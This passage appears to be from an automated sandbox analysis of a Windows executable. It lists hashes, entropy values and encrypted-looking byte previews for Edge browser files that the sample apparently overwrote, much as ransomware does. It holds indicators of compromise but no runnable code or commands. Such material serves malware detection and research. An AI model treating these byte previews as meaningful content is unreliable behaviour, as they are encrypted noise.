Entropy (8bit):	7.684542605144728
Encrypted:	false
SSDEEP:	12:kxf3A22boOr9wHtsTI77LEiUoQphfJXhR/C8iootmr49flJzog5ILO9M2cii9a:L2aOHtsTyLEisphfRhR6TvkYILO9pbD
MD5:	F30FE9D407DE676920FA527587B3BD98
SHA1:	7205C368A5420006FF80C1FCA038DBB5B37C5E3C
SHA-256:	F571E0EA3BCCB6D98D2E392AFABB37B578260FA0E8CA12C0CFED85048A669239
SHA-512:	294447456B6B23352C23FC1A5D8E0175E3C55A64724F18707EED4FDEDE6FCA53DCADEACAF243242E049EE9360502F11DF5137CC04A0837FE2068DFFA65C0DAE4
Malicious:	false
Preview:	2023/.@T`..B..?.$....4..\7.....OZcG_b....Xh...y.d.{.......H.7_.....a....:.........5.0..9..]....7..<!U.f.[~.$...0.\..J..X.9..D..+.....M5......S;.!K.c.....s9I.FG...7y.\...).%ApV.}vO.....J6S.....4zI...l<..<Z.Z.r. ..9....(.>.h.n..xru.i:ibOb.:.._...@3...Gu.([IQ..q.l.r2.3v(...xb.*C.95.....Y.@....,.R\;....>.w..z....p"....NQ.b.t.Z.0..)[..:&3I.WKI..o..:F..'l/...7......5U..j...S....zh..+..~.r...s.$.,{.H.L...(..a...:."9..R.7.#.#9..l..r.% ...-...1.L..>.u...`...:.(.9.Y.r.v.zR.W.V\|.".....Q...<.y}.tZ..t...=}\..r.y>J.).kj..T..-...~;s............\..U/......J.\|K,.W......T........aq"n..#.%xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	850
Entropy (8bit):	7.730438913277615
Encrypted:	false
SSDEEP:	24:pTzQDWyoPaseRTVGh7To5F9addc7mjiRXj9pbD:pXQDloPatRTc5yF9a3j85JD
MD5:	80AD8C2561B3FA12934E3FC64FA8E076
SHA1:	B22AF7BA1EDCDA943D7217A59D2286DEE379EA27
SHA-256:	06CD5737E3C5BE957C47FDBB4E6648E384D0A301587892330AA43B5AD87C8333
SHA-512:	049271B2E4821BA722BD52479F616340AC730A6E45C296FC1295466EE9E8D989317EE46E5F21B008C10FCDB3B62CAD382E73F70F355079CFDB80443425D96186
Malicious:	false
Preview:	A..r...=....5..<..a.......6.6.QC.PM.79g...<.I........B\....I......IuS6v{.R...w..b..=p~..C{.....K..h.=3...zi..`.[.\|.q.v.........qn%...+~.u.Q.C.....on..4V..gg...FQ..p..m..K-q+i..\.T..d$.`..8j.........C.\|Nm......>..Yw.c...Dl..O.t..Y...u..4Q...;......dc%{..d..A...L8v.........\iz')U..k..5.".,....Z...;.o...t\|...c....."K...}0....I.......2...0.1m.G......b.-...._..;....Te.o..@..O.N.Q.MD..:......Y...<...c./..5........p..`X....q...4.......LG`..p.@.....f.\...S$.<$.$..G...../A4h..3}.U.0..>.(.fj.0Q#D.!.lu...^n.L5.=J.B.c7......b.4r.0..v.Q..O..........g..^'.)..PG....E)8..z..0.b..hA....9..\|...we//........R...p4.[nK._<....x.Y....q.L./6.y.25A....O`=....T.f....'........Nu.......o.g.".....?....k...k.YO.+..I.[.....,u#......Y...s..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	655
Entropy (8bit):	7.5985750067721405
Encrypted:	false
SSDEEP:	12:kv/0R1Mf/vghw3p5PPMGF+3q9t/I05t5DQzTrI39M2cii9a:e/0HeIhmRMo+3qzz5Z9pbD
MD5:	12D10D25499EAED40575DA4019BFDD47
SHA1:	C3C1CE24003EA42EE5B5388E0829DC53CA6A3C74
SHA-256:	E5B9F68D9FF63CDC737D180B386A18997B7A21D420E81DC9F1589A25BB3C63F9
SHA-512:	50F5232CCC876DF2D79DDED02B1EB061F8A6B9DDD0D27F1154D681BA27E22A973361621D1A59D2E0A95D962029CD260809E499C89317DBC7F48D135FEB80267D
Malicious:	false
Preview:	2023/........g....8M.0.?..eR3..%Bi..~b.w..s..~E.4.......7Y..^?i2F_.........@.M.E.........u.9..r.E.].k...-CW./..w'n0.q..S.C. ,?..8...L.B.L.Ns..d...........8>.v%..n...k8....!tx1..V...Q..I.V../OK.^.2.^.0'.....C.].m...}e.......9`:#[.WL.K...sNx=.L.s..7.hg %.EV.v..,.G.2.G...Cx..g..za.X3.{..<..X.vNh.8...\..`.j....1A.!._......1...n..xA..b.:.+.pBo2TR..g........E(.=....w..<...%..........R.Et..A.?33......G'2.>?./.2.7...lD.....z..T."..\|m.;]Wz...".............qBr..O..G...%..../.%.o.U.)+.....!wG..].B....!d..8./..r.}sl...2......O..\|...f`8P.....B.b..^....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	80530
Entropy (8bit):	7.997854014463752
Encrypted:	true
SSDEEP:	1536:EBaCokblKi1+tpvAxlDwc4Ip/t3FmRsmtQ1AkN0ZM7Jl:EBLoGlKFHvI5wQFEsmAAk8M7Jl
MD5:	4D4ACA6652885FBDCA8626D96027B3F1
SHA1:	98F593883009BE38834E114638BDBBFF2817DC38
SHA-256:	4E6A1D333A0FE813C7EA4C173F701CD72D8A27FDCB36192C8DCFFCE8E6182087
SHA-512:	CBAC41CF91846A10EF6BA5CD35EA2E4EC2EC164EC98F73768FA9514681BCF80B78D7337C282C7268934AC8FB11F87603087743EAEA2F90216D56A6F2A7096C9B
Malicious:	true
Preview:	ewogI...r..,..1.....B...R..K..-2..[..0...t.b....;.lDX.j..(.Q#/9...h~.....?R.&.F.a..1.fVF.3.if.N...d(g..?..~.....5rEb1..V...E.'q....@...\..)...qZ.RC:..S.G.(M+W:C.s<o.'6..e.I........B......2!7....W...IO.2.J9.+.f.d...@T.+..m.\a.s......p ..9...l.......).1.....6..[.2....l.9... .Qi.LT,.;./.@..c..c^.......].yr......&../....iD\|..\...WrW...r.........CJ..NBMP....D3...;\..'...6....}.i.o..w.X..O.........4.......+.pu+..o......1.48...l..... _.q...9q.W.>.z0.......K_.tZ..8.......9.]....9......?c'....39P$..^'<..N.X,V.[..<>R..e[..%`..).~.Nje..W..Z.#.[.x..7.fc..e.xz,dTP..s._H.]...Qm...a^.A/!)d.Y.'.x2.f....n$....W".r.6B.feX .w.._8O.._..;d...z..zx=....#...)..i....vi..:N..&.#2I.....>u7;.....oA..\|I.S...v..V....n8.O..o..w,E..S.jX.KE..d.<.T.X.t..[.b.8.Q.h......H.w.D.'.n..I.aXM.ik....\|..1m S......fM]L..H$}5.$.s..N..8.....uY.:..Gx.a.I...........2._.S/"..vPM.[..J......B.N(.JC..do..;..R.@3.eG.......r%;.W.o..s..`..?[...H..Z....1..R...{!...3.#g..7

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.369030887732317
Encrypted:	false
SSDEEP:	6:SQ2h9EEbq3Xlk2LzE6YyHK9npkdwp95Ipee5paKu4BNVCksinmFrdCB5YWgs9Hsw:o5ulaiK9pnOu4BLPm1AB579M2cii9a
MD5:	2E871BD124759581AD0FE685702E8B69
SHA1:	6C9B19546E3EED3B623264AC2675F72DE9A98E55
SHA-256:	4ED46448C78538E4854C7F79B7112B932B99318BCB6BFADE29053AAAD74B9555
SHA-512:	5491D8BDCA7E4DE9B9A844AE04CE212115F0160E96C16E7FE1017225851A83970D120194F4653BFF48ADF45A1162C72119E69F6DE5B1E99B35D7921F41C48EB3
Malicious:	false
Preview:	1.558...9O...H....o..?.aGM\|s(K.`K..H...p.;"Qd..n.:.%....y.NI.x.ad..`...hJ.72.:.........vE..r_..U.o...e %nWb.X.1.!..C....y...oF..(.c....U....D^....<....L\...3t..e..h.".3....I?.........;/.>.'..Z..r.c..9....wU_....*..+.Aoo.FY../..`...s.f...rA9US/..@.....;...8.>t.6K?......pN\|Q{.a...:...R.] rQ....DOu8....i.D..{xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.290293440043236
Encrypted:	false
SSDEEP:	12:YzE6txoGzshrsqntTp3fyXoDBrm9M2cii9a:YI6tx5CJrC9pbD
MD5:	91631E9F877DA135278BF70092BFDB0A
SHA1:	F1EDC2BE463ECD5782AD7C7200DE52327AC96DAF
SHA-256:	C18C990DEDD7D4CE25AAD9D88D81694EDAA9E61F449068AFCF90DC0539496253
SHA-512:	430C2AC938E9A303B8B8A737456714875857246C20CA1471B10150BC4B4C0F64AF16A9F07369F4BD70CBA4F26AA4AC8F1625F99A363318E583495F4A4D2F8B6D
Malicious:	false
Preview:	{"nam%Z.<..2!.....%\|...b......~.....+.......l8X...J.H1.(Q/.G.!.3.0..%j.ckm....>.=C/..&ZZ..4DT.?.O.....1.....X...+8.-$.;j..."G...E.MFP7..g..x.....aP.w.3Q6?.......BNI...0.....w8TN\'\....'....I...DS....'.v.h...-.]..{g....oDM.3Q.a.VI.M.k..Q...g)..1;q./-;^h.+.;........?......(..a..H...)...t.c..oxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	11901
Entropy (8bit):	7.981774571778991
Encrypted:	false
SSDEEP:	192:Q6D2XPq4xMUtREzeGJM2ibD1zZCpJkRoMhR/5jCK57F7bgfRilv3uXxP5OGgGSdy:Q6qGeyR0DjCpGuM//5WS58RiwXx0USGP
MD5:	8568EE8CECDCC48AA5E378AE1765FB44
SHA1:	E6F60BF6617278E1895393D43B6D55D540D1DFF4
SHA-256:	D26C1BC7BDCC848720FD5A40BD833239968928BC9D6CD102A2F381561533C2E5
SHA-512:	6DA0BA4B9A7C644A38AD4C4EA14FF30ADC390EC9FB62FDB3F9CACD0881FC1C349A84E047AF7E609A96B3FC4A27C1A634330B57F8C1DDF56759961380196854B2
Malicious:	false
Preview:	(()=>...j`F+....f..p.7./e../.2.h.5m..?.........O..\..BJ0...f..\|..?".b....0.....e...m....}\|...)HU.\....R.....Oj6.VE.^4C..V7..y.$..q..L....n&......i....\..$#h.......'..vI.M.........$.R.F.....Rj...v.p2.:..Qy\|...o #[.D.l...o........\p.!....!..=X..h..>{. U...O..s.8...5...gf.n=/$...LgT.{0..e.Ha.7.8.zE.t..oL.(...P..x{vS8.....1...A..F..Q>ff~.:v.E_.sKI`.7%U.:D.\.:...A.9..~S).I.G.>.KV(......;..s.;!;md.........0 ..:.Q.u!..,........e..{1%9.3.9$.e%.A.......@...\o..`....v.....:.Z.o."^.&.:."..8...D...b...=........>.<......w..in...6....S.^..5=.u......x. @>.i0....WF..3...-.h.k!v.....m.b.bb.#..#.7..x..+...#..n9.M...~.z_.....$h..{.. .i.B..uF_..."6....\..-.a.<.........uC6..@.T-...,...;.Vi.Vj.fzu2.x{.BD..P.@.o.UL..k..u.&.W...^[SJ.^..v.."1U..........P..@a.TFFg....k..{..u....8.+Q..2..p.[....I.7.j,....G.}[...L..z...CS.=m.....{g...S..W..6....g...F.h.Q..+./....:.>@......*4..+E....h.....^r...N..+...hH...^<.........=..&t:..}@.65.jSX!.4...C.n..7.K-...:yn.4y....+......X./!.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.446352854965869
Encrypted:	false
SSDEEP:	12:/GMxfJg+W+NiKxxVoMGnd8JO/J9M2cii9a:hfmqdaV8Ax9pbD
MD5:	805AB85035C75467D1C19590225F644F
SHA1:	B8459307101AF398466E150073188A8C6E1A1E3C
SHA-256:	CE76BDD638E0521363A716ED5981536644378A9D344AEEFCF3E42165AD0630BA
SHA-512:	3E85389C6A32BA29EF2276E398EC6C256E78F717EE13B38F676A7E87650DE0BE52CC6CA3B0C39532931DE1216B42787EAD4A2CA8E20129ACB4FFAE1CAFCF0999
Malicious:	false
Preview:	1.1B22.+Cd...Tz..!..L..[&..,......N%H3h..K...i.W.8...4S..?^.a.....J.jo...2..f...?.8..:.!W.r....%..w.)........_Z.....[..w.]....r;.e...Q....e.g..R`"..$o....n..q@...q........x.t..o....R..qO.^.gw]..>..0..E...L.S(a.[#....t....2]..vr .!.xc..).1.W.S.\|...V.M.T^.......\m...PT..^...._.ev.....m/...-..Va.~q...M..04..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.5064443937288186
Encrypted:	false
SSDEEP:	12:MO/2XYUltc9iWpJJ5GR9S+CHNunw2R7+JhM9M2cii9a:MzIN9iWpDgRlEMw2R99pbD
MD5:	C2769B0DCAE18F3BF87BECE3C5A07495
SHA1:	06A80476501AAE376C42E403BAE68213E2964C0C
SHA-256:	CCEC6E1D9CAD29EA3E207CABD539CAE5A55CB6270D2F6D0C467A063E0C64C588
SHA-512:	D3DD6C0634AA3181E82E00F59947951420DE01586B8D75AF65C6703B278D2C27F82AFF842E536BC7FBC42BEF3983F4FA07B5E66FA9E060647E59AA9215EF7578
Malicious:	false
Preview:	.{..:..ak%..x...?.-../+...K......g8,KH...N.........u..M....c..P)....Kx..&.6.[..H..w...j..D.>....LR..X....4.q]..b<..ap....a&.FtB.v.:....*.H..4 .k...!h......1...H!n.._u".Q.A...D."......sDjT..V....m.r. :....;.....8.u\wWic.@..$A.B.ry._S..udm....9<H....z.......h..Y....#_r.9..@.h.#......'....S..!.7......'...y.@....J....7\.<~'..3t~..B.=.[.............4...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\auto_open_controller.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	953246
Entropy (8bit):	6.395345030849414
Encrypted:	false
SSDEEP:	24576:JYinzLZgjhSwf1p6KQcXZPLU/8d1rugFDcbmcVuVV2aiptWVslXdsXv4:JYiz1KSY1p6KQcXZPLU/8d1rugFDcbmg
MD5:	50779C394EACED045F3667D47B0962A8
SHA1:	5C0EDBD5E1FB9337BF9EB94B7C57A77A267763DE
SHA-256:	BEC8783A1EB84AB08D3B3D7B0D4F5EF49FAAEF521E47AC072A758683C4EAF0C8
SHA-512:	1B2FC48E739C43FE05376873EA2AD750E009685F5748B9F93283ED1AC7135A0FE2E8B004FF33C75886B2505B0C54B9CB7E4708A2A947DD48BC9CCFC028715C4C
Malicious:	false
Preview:	/! F..........9q.d<M.h5.u.uI.U(l....M..3..O..).m.....]....Q.....]Ifa^w.#...Z..L.6".w.. v.......T...)1..=..F.2.P...l....W...Z...).U.a.B...eUa$....S.7d...X....E.l^\b2eV.^.$(....\......z.S..k~@...r.9...?V./I;.?...6....?.7......A....8...Yk^....C..-A3.@[8..d$Erx.3..pi..3.....&B%+'fF.......H.~.l]I..U.....+.D.D.5...3.)..K.}.=....W/..\&..[.....r.`Q..\|.]....M....\.!&.v..Y'...F..<.: .............8....b....!......`...o.%g.8.r.+3g+..3.Pk...j....G..n%y.u_.....o...$.s.Z.._P."....u..y..z..\|p...U...WM.-(E.s.B?.@......V..y&......jo...=.U...c...._!;..Oa7.L?z.?K.H..T.rN..>Q.....\|.._3......h.Rwm...;..p....g.`nH..m.M.l..:.~.U..rbD.wL..x.,......DJs".Y.V5...F=...C.!.50..b...Q9.....u.D... q....`.S../&...bh.`.].~...L....@.L....`.I..kH...t...`...8..c.[.3..X.1...t.GxVj.J...[.;.be5~..Rm.Z!.ya...5.OS/B.;T(.}.,R..].!...B..e.2...z.....T....d..b7..c%...?.BR%m..~>Y$.Z8.......n\.m.L....q.g`.n..kB,..X.?.Q.OG.j7.%....@~...r...dN...aq.3...Hpi...:.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_checkout_page_validator.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	793243
Entropy (8bit):	6.543999231603064
Encrypted:	false
SSDEEP:	24576:lJmYrcpNlUEs7qS3I9yHp/1l0I/Eqr3HNHK7ToEZyJxenyMUSM5VU+O91EMFgj:iYrcpwEs7z3I9yHp/1l0I/Eqr3HNHmTI
MD5:	F2D691511843153758C3274AF4CD3BE9
SHA1:	933CB0371F3E2AAD8201C4927A8706682616AD29
SHA-256:	7C4C589374F647D292F780D873ED30D578630076A15AC775310B554B6637CDCB
SHA-512:	72191544C95CBA271E6DE0AF7067421DD76EE4DD58BEC799FB1AC88EC5575666378EAD09DFB461396B7BE18A14674DE4E63D4070D9AECA4B1BD2D6189D72537E
Malicious:	false
Preview:	(()=>C..CSs.....1/....ja..A......z..`..e7...y$.8.ve.8..VQ...F.Ap.....U$.U..V.g...^80..,.4Y..r..X$...O..n..b})7o......B562.D.. .......n..%..lz.....GX....k...s..d.y....(.-..'4:...JYF.&.]$.....t Y..!.~.:....2 .4./.....".$..x.....O=.Co..../..e1.v.`H...\.....a..`.2..:v.Bq.Q.y.]T.i..q..$.`@..c..k`U2=..-.$.'.D.L......PD2%=a.#4\......._.=...#...;1.pay..r........h."Wb`P...."L..l...P3^..$0R.@..g..])^.9..B.#C...yf...0.]..=....z..E...9......V.T^..Z~k.-?.d2)._H.g.(e.UP.79........^..>8.`.]..u..z.n>.#......@.J...-.p.m..y..c/.....n4.wU3k....].=f....Q.{L...OKb.>.......s.p.0.Q..!.....?.......(..G..8.h..]2....ai.%........i.9YR..........3o.;..).uQ..q).4.v.R..#Hhf..KI@...9...sU...0...Z....32..W>.F.A....J.lc..}I..9.....yTg.>@........e.x-...@k..B....\V........8%.O...{..../O..u........C"....&....$...?h./...........Rw..J.Z.../..24..j..<.qx.l....a.'Q.Pw....m.{...}....R,..X..=.M.A.....Sif ..J.9Y....Q.....D.Nd]a.`VW..!1C..u/..o1"#F...J.".c@x.2Fv..._5)....'X....}..`...V=..@.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_confirmation_page_validator.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	818059
Entropy (8bit):	6.514926939451232
Encrypted:	false
SSDEEP:	24576:fBktR90c4P59G6zeDug5LGhcQKyrqJY/huIXv0er0Usyi1JbCk1K2qGzXgQzz9px:fGR90c4P59nzeDug5LGhcQKyrqJY/huv
MD5:	73FF13F0FE9DE993C09A66D7F703A8E2
SHA1:	A829D35BBF4C41F78C3E07036FFEB393B7C62A80
SHA-256:	2AC801648FBAC6DC927D601358DD8FDD1C9B89E5A3C151B2599B390EFA7A77B2
SHA-512:	41CD1C9D1D70F6FB72A36B21BB5EEE8F8594F5A9610E4BCAC809BC602406E3DD70272F42EE4402A40DACD52C12BF514D1469D5D9CFCFB9F7CB793742C4690A96
Malicious:	false
Preview:	(()=>\..@.[...^.^.....Z.zb...:.<.5U...."..g1...0.5..ZE.xh..j...u......B...z.n...U.N....)5.@..t...S...5..k7...}-...o{...........4..Y..~=.....N&.S......[....3\|.....&K.../..eA(.-...\|....P....dQ..a.........p3.....q2.:.4...5-..'.+.:nf;.G.....6,w.1.k[.i.....T.'.s..7........w..h)}l$r.0..F+.]~.TVw}.......k..r-..}.s+..P..h...h $.n[.(E.6'.10..49.O.?%.....D.]....vISbF1q4...y..S.K....!..rswV.P.O.]I..\|9:.'.V...Q..W..%Dt.r..}.D.b...>../...zE...K.i.....QP..m..<.z..a;.g.k.s..k7S....E...#R.G...4...P..-=.W..zh(a.H\|.-+..>.EFC...,7.Zk.)..+1I..}...D<...9-+.\|.e.CL..^..1..SNg..-.0...j[B.J`..>.....d....................2[..W........9.T..K.../.....Z.D.....;N...OV.q{....H.4...v.tR.f..w[k.9..w.q.{...$..tG.....d!...]+.n.B.._.v.......,.x.].7.S..2]...V...l.H`T............^..t4..MPcX\|........".....w.N..C...&......LA.!..#.C1...A+-....x.%.Z-.,.*...5..U."?SLZ.]7z.B..5.)..(.l..T=.y..Q.z;1o.....u..&.tF..........;m.L..o.......\|-.....8_.N........@...a..".?.........v.w..8....(.$

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1316574
Entropy (8bit):	6.251362651895116
Encrypted:	false
SSDEEP:	24576:b9HdM3XW2/c66UwVToLNoX62rgGOs4zUg2oGiNvB+n8aW8Wmf8jTw3AN6qwrjrF5:bZdM3XW2/c66UwVToLNoX62rgGOs4zUP
MD5:	7FE8C022F150EE677DF3161DE5A21856
SHA1:	6920A75F0AB4E352AD2E3739EAAD6E6CCBC22EA0
SHA-256:	2D0D24570075B78FCD9139E2225E153EE1611A2BE4DCCD6511165037E5C65330
SHA-512:	C9A70544161B426169768CE73C33B8945BFC1BEDB04F8D4E8172532F14C377BA491C2BB324D789EC1487B0A1060B14B92D8E03F493E12EA354B53F0FA7532D74
Malicious:	false
Preview:	(()=>.rl..@.>.....C.U..mb46..z`~.J.............Q...t.^......Z..Sq...9U....Z..K..q.......-..p..r..WE..\|B....n.${(......C..@H)./.s.%......z~.....yM.....&....-%....y!.l.0...1.s...9Q.t.z..E......A.=kL~..d\.q..7I...!.....3a.2~.W..]."...@g....k...O.wQ~...S...(./.....R.m[j..s........u...O.....s3N.\2.5.......N.R.b.).^vs.J....H<yX.M.E.,.!\|.",.cb....;.>.,.^...../..,^!..N...U...@.c......3.7..L..lWm..'..").....TL..j.....)R.R.)........>j.K..%..z..........x}...e.^.B.to..5...#.:......#.:].[%.y.\..'..V#...Xh .RD....J...LW.I.8. +.Tz..v.. .N..N\.I#......Fo..P...5..z...!.<.x..eI;.=D.t.dCq..x'.A2..A.Kf..Q .)i..{].5m..r.s./6.1.O_...h....i..3.../..,v....)-.~eU..7.Z.....y...7.6.T4..F.(u..:.........8.x.}.!..+<....[...?f./.D@......J....+..u.D4.Ol....u.&..p.g/`u...ml...8..n...Ik....z...P.lW7......W8J.b...v..."oA:.].<~.E..N)#0.`....w0..=.........($.k.R......^..vR....n.\L..n}[......r.se.......xw./q.)OY..w.$K.n*.C....!f..#:.H.\|R..C;.s..}.m....Bb....A..`{.D..l......[

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_tracking_page_validator.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	52139
Entropy (8bit):	7.996584721744827
Encrypted:	true
SSDEEP:	768:3KkHe8iw+2jxRGpjgv/TW62vGEdECYhxJjdBY3NRM+astKyE4igMIUY1pz:3Kj2VEjwyvndECGJrY3NR/b9igMIZLz
MD5:	B047C7F1AE73CDE1DCD0FDC964297C30
SHA1:	32BDC9440B2188ACE845C70C65FBA2BA0D7FA4DF
SHA-256:	5D3FE9F9AC84980D81734736FFACC360A0194041D6B4A1294C89BB15012E781B
SHA-512:	CDCB76E53E14DA12B12F756BD76935113690BBA35F7A8C09FC37B2CFC98BD0591D97692B64C5A561467609F33557B9FEA83ED7A1C71748BFDA1CFCCAF5B1061B
Malicious:	true
Preview:	(()=>yx...u/........&..?.Y..7&......K9.....t.KY..}a3...[.c20......c .9..}....._.n..Yw...9.\......Fd......Y.1 .M...qM..@>.....`.L...6..f...Q..1...c..K.n.7z...`l..&...}F..P..}.3..p....F%t.H...87..Dg..-.?.~.(...SW~.6..5w....'V.&.!...L....Va.Mf2.,.W.DZ........./..E`.a......!....y..c.,......../ ..N.]...?.J .7&..%.E.IV.x.-...A..!....hb.J..o@}.N_J......D..J.{.x...iI.z%l...v,..!oMX....qp..$..Iv...VLc...Ut.....m.+.4A.vNtdV,.......kn-h.Wh..{1..%Ck...="{..B....Z.......X....C.......)......d.+.......X.#.y$..9.......>H..~z.}....A..4..qG.Cl..K....(..'WO...v..l.A..u4N.Q.u...E......].4V......2..r.X.b..,Mj...;E.._..w...A.2.....T$..,d.`C.H.+.e..a{K.u.9.J.t^.%..W.n..."....k..J....]......\|...]..\|E....(.....C...(....Ax.Hr.D....j.=F...ywl.r.\|.R...A...M.......e...ehi\BN ..%..a.ot....y....^:aii\|.T(..Mpm..LY....c".\j..s.EE.9HS...^.h.y.M..'..d2.....tS...-cNv.2Guh....=BL...^......e....f1^W.?Q..(..=.......g1....._.z...o.r..>#......3..Y[0..Fc<p.D..[D..B....C.A..W.vD

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.345553417578863
Encrypted:	false
SSDEEP:	12:zT5umo+tQxKbqnyCHoY9WKOz6pE9p9M2cii9a:zFumRQxQVa1Ozp9pbD
MD5:	53B2C1FB3824761A423D9D3C4B3B3562
SHA1:	8D17AA9B44AEA8282DF2811E7062F98177EEB7CD
SHA-256:	F7CC50826DD265CB9A30427029F9CC6B398B465335F52728B8D36407FB848057
SHA-512:	B8851EC2F9F9B902DD08F0FDC80AC633F57043FE417BA02A7E05826A5E56810BCE93A7763339353703193FD6CAEF2912B93F99A95D4B092962342F71708767CA
Malicious:	false
Preview:	1.5EC.tz........u...oUG...ThX..WL..W.b...V.6V5].B.p.oq..5<.cx...b../.O...sY..'....[.@.\. ~....s...4.\c..4..xs....}sK.5I.-...\po1.W.K...G.R....dH..8.i.Bl....`(!..a....\|..`&d.$.~.E..7.g..d!sZ.T.q6.P..f=.Z*.5Mjn..w......_F)...N...I.p.4.s.E:...j......`..>..SiE.....".d..;Z.D.:.:.....}]@"c...W.)..!..&.U0....@..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	481
Entropy (8bit):	7.467390955256119
Encrypted:	false
SSDEEP:	12:MzTtIWaAkRpScUnOUgpDlOq3J//QZb/BdQ/zd9M2cii9a:MHt3aAlbpelOWm/Yh9pbD
MD5:	5760A870CC888A2899BD002B0A0A657A
SHA1:	29F7CC52C8067DF06FD6A65FE853248D884AAC57
SHA-256:	30E642EE9E5B7A43A318A1D2F7F7A753F5738CFEEC15E599501D6D5B1BA9ACAF
SHA-512:	C670B120F9B7EA72FFF02DE6435A3D83E147741828E999FC210627869B022918AF114A5A7F31D339E539A6926BAE17FA102A469A3A3B31DE30CAFD8AE62449E0
Malicious:	false
Preview:	.{....z...x.\|y9.#9..a2=.%G..\|.w..Ht......j}\|.'.L^.._........3vUK.g..j.4.}.d.PVu[c.u....Ni...."..iu.j..k..$E... .!.......mn.....6.O<.&Sb.\..........M.A....x.<3.wDZti)..o....0e.v.7.I/.A5d....kX..#..bU&.)...P-V..3...![..j...B./^F..F1....".]._4EHb..kj..$..-...,o@E._\.O.PInQ[..?[M.a.0[...oy.2C...[>H..].' Y..h...*x.......u...l..p.;>2d..4.5W.L.)..:.S..4kw../...aC."..{...Z<.b....5`B<...1.r7.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\product_page.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	777261
Entropy (8bit):	6.5551304618133175
Encrypted:	false
SSDEEP:	12288:j74hHUBwgfze8TcX41ahYSWW26ejCSny5IHve2ReLUpmosaaqinFrP/pQ8yBn+hM:j788wg7e8AXS5JW26ejCn5IHv/Rzpmoj
MD5:	B87D5EE4EF020C08AEAFC56579319750
SHA1:	BAD200494AF33F46EC67AD4CFC3D01452C51DFE0
SHA-256:	97777C366BA7FCC788C65748A73B96A90A3D82A1ECF4180206B9DD60A8EF8F70
